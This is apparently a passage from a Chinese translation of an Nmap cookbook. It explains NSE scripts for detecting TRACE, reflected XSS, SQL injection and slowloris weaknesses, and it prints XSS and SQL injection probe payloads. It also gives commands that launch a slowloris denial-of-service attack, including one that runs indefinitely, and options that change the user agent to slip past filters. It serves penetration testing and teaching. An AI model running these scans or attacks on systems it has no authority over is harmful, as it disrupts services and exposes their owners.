|_OPTIONS / -> HTTP/1.1 200 OK
Nmap done: 1 IP address (1 host up) scanned in 14.41 seconds
参数-p80 --script http-methods,http-trace --script-args http-methods.retest
告诉 Nmap,如果检测到 web 服务器,则在端口 80 上启动 NSE 脚本http-methods
和http-trace
,并单独测试 HTTPOPTIONS
请求返回的每个方法。
http-methods
由 Bernd Stroessenreuther 提交,并发送OPTIONS
请求以枚举 web 服务器支持的方法。
脚本http-trace
是我写的,目的是检测 HTTP 方法TRACE
的可用性。它只是发送一个TRACE
请求并查找状态 200 代码,或者服务器会回显相同的请求。
通过设置脚本参数http-methods.retest
,我们可以测试OPTIONS
中列出的每个 HTTP 方法,并分析返回值,判断TRACE
是否可访问且未被防火墙或配置规则阻止。
$ nmap -p80 --script http-methods,http-trace --script-args http-methods.retest <target>
PORT STATE SERVICE
80/tcp open http
|_http-trace: TRACE is enabled
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
| See http://nmap.org/nsedoc/scripts/http-methods.html
| GET / -> HTTP/1.1 200 OK
|
| HEAD / -> HTTP/1.1 200 OK
|
| POST / -> HTTP/1.1 200 OK
|
| OPTIONS / -> HTTP/1.1 200 OK
|
|_TRACE / -> HTTP/1.1 200 OK
请记住,方法TRACE
可以启用,而不是由OPTIONS
列出,因此运行脚本http-methods
和http-trace
以获得更好的结果非常重要。
使用参数http-trace.path
和http-methods.url-path
请求不同于根文件夹( /
的路径):
$ nmap -p80 --script http-methods,http-trace --script-args http-methods.retest,http-trace.path=/secret/,http-methods.url-path=/secret/ <target>
有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。您可以通过设置参数http.useragent
来使用不同的 HTTP 用户代理:
$ nmap -p80 --script http-trace --script-args http.useragent="Mozilla 42" <target>
- 检查 HTTP 代理是否打开配方
- 在各种 web 服务器上发现有趣的文件和目录配方
- 检测 web 应用程序防火墙配方
- 发现 web 应用程序中的 SQL 注入漏洞秘诀
- 检测易受 slowloris 拒绝服务攻击的 web 服务器配方
跨站点脚本漏洞允许攻击者欺骗内容、窃取用户 cookie,甚至在用户浏览器上执行恶意代码。甚至还有Beef
等高级利用框架,允许攻击者通过 JavaScript 挂钩执行复杂的攻击。Web Pentester 可以使用 Nmap 自动发现 Web 服务器中的这些漏洞。
此方法显示了如何使用 Nmap NSE 查找 web 应用程序中的跨站点脚本漏洞。
要扫描 web 服务器以查找易受跨站点脚本(XSS)攻击的文件,我们使用以下命令:
$ nmap -p80 --script http-unsafe-output-escaping <target>
将列出所有怀疑易受攻击的文件:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-unsafe-output-escaping:
|_ Characters [> " '] reflected in parameter id at http://target/1.php?id=1
脚本输出还将包括 vulnerable 参数以及未经过滤或编码而返回的字符。
如果您使用的是 PHP 服务器,请运行以下 Nmap 命令:
$nmap -p80 --script http-phpself-xss,http-unsafe-output-escaping <target>
针对具有易受攻击文件的 web 服务器,您将看到与下图所示类似的输出:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-phpself-xss:
| VULNERABLE:
| Unsafe use of $_SERVER["PHP_SELF"] in PHP files
| State: VULNERABLE (Exploitable)
| Description:
| PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities.
|
| Extra information:
|
| Vulnerable files with proof of concept:
| http://calder0n.com/sillyapp/three.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
| http://calder0n.com/sillyapp/secret/2.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
| http://calder0n.com/sillyapp/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
| http://calder0n.com/sillyapp/secret/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=calder0n.com
| References:
| http://php.net/manual/en/reserved.variables.server.php
|_ https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
| http-unsafe-output-escaping:
|_ Characters [> " '] reflected in parameter hola at http://calder0n.com/sillyapp/secret/1.php?hola=1
脚本http-unsafe-output-escaping
是由 Martin Holst Swende 编写的,它在 web 服务器上爬行,以检测 web 应用程序基于用户输入返回输出的方式可能存在的问题。脚本将以下有效负载插入到它找到的所有参数中:
ghz%3Ehzx%22zxc%27xcv
上面显示的有效负载旨在检测可能导致跨站点脚本漏洞的字符> " '
。
我编写脚本http-phpself-xss
是为了检测由于$_SERVER["PHP_SELF"']
脚本缺乏卫生设施而导致的跨站点脚本漏洞。该脚本将对 web 服务器进行爬网,以查找扩展名为.php
的所有文件,并将以下有效负载附加到每个 URI:
/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
如果相同的模式反映在网站上,则表示页面正在不安全地使用变量$_SERVER["PHP_SELF"]
。
脚本http-unsafe-output-escaping
和http-phpself-xss
的官方文档可在以下 URL 中找到:
- http://nmap.org/nsedoc/scripts/http-phpself-xss.html
- http://nmap.org/nsedoc/scripts/http-unsafe-output-escaping.html
脚本http-unsafe-output-escaping
和http-phpself-xss
依赖于库httpspider
。可以将此库配置为增加其覆盖范围和总体行为。
例如,库默认只抓取 20 页,但对于较大的站点,我们可以相应地设置参数httpspider.maxpagecount
:
$nmap -p80 --script http-phpself-xss --script-args httpspider.maxpagecount=200 <target>
另一个有趣的论点是httpspider.withinhost
,它将网络爬虫限制在给定的主机上。默认情况下,此选项处于启用状态,但如果需要测试相互链接的 web 应用程序集合,可以使用以下命令:
$nmap -p80 --script http-phpself-xss --script-args httpspider.withinhost=false <target>
我们还可以设置要覆盖的目录的最大深度。默认情况下,此值仅为3
,因此,如果您注意到 web 服务器具有深度嵌套的文件,尤其是在实现了/blog/5/news/comment/等“漂亮 URL”时,我建议您使用以下命令更新此库参数:
$nmap -p80 --script http-phpself-xss --script-args httpspider.maxdepth=10 <target>
图书馆的官方文件可在找到 http://nmap.org/nsedoc/lib/httpspider.html 。
有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent
,可以使用不同的用户代理值:
$ nmap -p80 --script http-sql-injection --script-args http.useragent="Mozilla 42" <target>
一些 web 服务器允许在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 web 服务器支持,建议使用该脚本。默认情况下,HTTP 库尝试通过管道传输 40 个请求,并根据Keep-Alive
头的流量条件自动调整该数量。
$ nmap -p80 --script http-sql-injection --script-args http.pipeline=25 <target>
此外,您可以使用参数http.max-pipeline
设置要添加到管道的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline
,则忽略此参数:
$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>
- 检测可能的 XST 漏洞配方
- 检测 web 应用程序防火墙配方
- 检测 web 应用程序中的 SQL 注入漏洞配方
- 检测易受 slowloris 拒绝服务攻击的 web 服务器配方
SQL 注入漏洞是由于用户输入缺乏卫生设施造成的,攻击者可以利用这些漏洞执行 DBMS 查询,从而危害整个系统。这种类型的 web 漏洞非常常见,而且由于必须测试每个脚本变量,因此检查此类漏洞可能是一项非常繁琐的任务。幸运的是,我们可以使用 Nmap 快速扫描 web 服务器,查找易受攻击的 SQL 注入文件。
此方法显示了如何在使用 Nmap NSE 的 web 应用程序中查找 SQL 注入漏洞。
要使用 Nmap 扫描 web 服务器以查找易受 SQL 注入攻击的文件,请使用以下命令:
$ nmap -p80 --script http-sql-injection <target>
所有易受攻击的文件将显示可能易受攻击的参数:
PORT STATE SERVICE
80/tcp open http syn-ack
| http-sql-injection:
| Possible sqli for queries:
|_ http://xxx/index.php?param=13'%20OR%20sqlspider
剧本http-sql-injection.nse
是由埃迪·贝尔和皮奥特·奥尔玛写的。它爬网 web 服务器,查找带有参数的表单和 URI,并尝试查找 SQL 注入漏洞。该脚本通过插入可能导致应用程序出错的 SQL 查询来确定服务器是否易受攻击。这意味着脚本不会检测到任何盲目的 SQL 注入漏洞。
脚本匹配的错误消息从默认位于/nselib/data/http-sql-errors.lst
的外部文件读取。本文件取自fuzzdb
项目http://code.google.com/p/fuzzdb/ ),用户可根据需要选择其他文件。
httpspider
库行为可以通过库参数进行配置。默认情况下,它使用非常保守的值来节省资源,但在全面测试期间,我们需要调整其中的几个值以获得最佳结果。例如,库默认只抓取 20 页,但对于较大的站点,我们可以相应地设置参数httpspider.maxpagecount
,如下命令所示:
$ nmap -p80 --script http-sql-injection --script-args httpspider.maxpagecount=200 <target>
另一个有趣的论点是httpspider.withinhost
,它将网络爬虫限制在给定的主机上。默认情况下,此选项处于启用状态,但如果需要测试相互链接的 web 应用程序集合,可以使用以下命令:
$ nmap -p80 --script http-sql-injection --script-args httpspider.withinhost=false <target>
我们还可以设置要覆盖的目录的最大深度。默认情况下,此值仅为3
,因此,如果您注意到 web 服务器具有深度嵌套的文件,尤其是在实现了/blog/5/news/comment/
等“漂亮 URL”时,我建议您更新此库参数:
$ nmap -p80 --script http-sql-injection --script-args httpspider.maxdepth=10 <target>
图书馆的官方文件可在找到 http://nmap.org/nsedoc/lib/httpspider.html 。
有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent
,可以使用不同的用户代理值:
$ nmap -p80 --script http-sql-injection --script-args http.useragent="Mozilla 42" <target>
一些 web 服务器允许在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 web 服务器支持,建议使用该脚本。默认情况下,HTTP 库尝试通过管道传输 40 个请求,并根据Keep-Alive
头的流量条件自动调整该数量。
$ nmap -p80 --script http-sql-injection --script-args http.pipeline=25 <target>
此外,您可以使用参数http.max-pipeline
设置要添加到管道的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline
,则忽略此参数:
$ nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>
- 检测可能的 XST 漏洞配方
- 检测 web 应用程序防火墙配方
- 检测 web 应用程序中的跨站点脚本漏洞配方
- 检测易受 slowloris 拒绝服务攻击的 web 服务器配方
拒绝服务攻击现在非常流行,Nmap 可以帮助检测易受此类攻击攻击的 web 服务器。“slowloris 拒绝服务”技术被认为是由 Adrian Ilarion Ciobanu 在 2007 年发现的,但 Rsnake 在 DEFCON 17 中发布了第一个工具,证明它影响了多个产品,包括 Apache1.x、Apache2.x、dhttpd,以及可能的许多其他 web 服务器。
此方法显示了如何使用 Nmap 检测 web 服务器是否容易受到 slowloris DoS 攻击。
要使用 Nmap 对远程 web 服务器发起 slowloris 攻击,请使用以下命令:
# nmap -p80 --script http-slowloris --max-parallelism 300 <target>
结果包括一些攻击统计数据:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-slowloris:
| Vulnerable:
| the DoS attack took +5m35s
| with 300 concurrent connections
|_ and 900 sent queries
如果在端口 80(-p80
上检测到 web 服务器,参数-p80 --script http-slowloris
将启动 NSE 脚本http-slowloris
。
slowloris DoS 技术的工作原理与其他拒绝服务技术不同,后者的通信通道充满了请求。Slowloris 通过发送最小数量的信息来防止连接关闭,从而使用最小带宽,并且不消耗大量资源。
RSnake 的官方评论可在上找到 http://ha.ckers.org/slowloris/ 。
NSE 脚本由 Aleksandar Nikolic 和 Ange Gutek 编写。官方文件可在以下 url 上找到:
http://nmap.org/nsedoc/scripts/http-slowloris.html
要设置每个 HTTP 头之间的时间间隔,请使用以下命令使用脚本参数http-slowloris.send_interval
:
$ nmap -p80 --script http-slowloris --script-args http-slowloris.send_interval=200 --max-parallelism 300
要在一定时间内运行 slowloris 攻击,请使用脚本参数http-slowloris.timelimit
,如下命令所示:
$ nmap -p80 --script http-slowloris --script-args http-slowloris.timelimit=15m <target>
或者,有一个参数可用于告诉 Nmap 无限期地攻击目标,如以下命令所示:
$ nmap -p80 --script http-slowloris --script-args http-slowloris.runforever <target>
Aleksandar Nikolic 编写了另一个 NSE 脚本,用于检查有漏洞的 web 服务器,名为http-slowloris-check
。此脚本只发送两个请求,它使用一种巧妙的方法通过读取和比较连接超时来检测易受攻击的服务器:
$ nmap -p80 --script http-slowloris-check <target>
有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent
,可以使用不同的用户代理值:
$ nmap -p80 --script http-slowloris --script-args http.useragent="Mozilla 42" <target>
- 检测可能的 XST 漏洞配方
- 在各种 web 服务器上发现有趣的文件和目录配方
- 检测 web 应用程序防火墙配方
- 在 web 应用程序中测试默认凭据配方
- 发现 web 应用程序中的 SQL 注入漏洞秘诀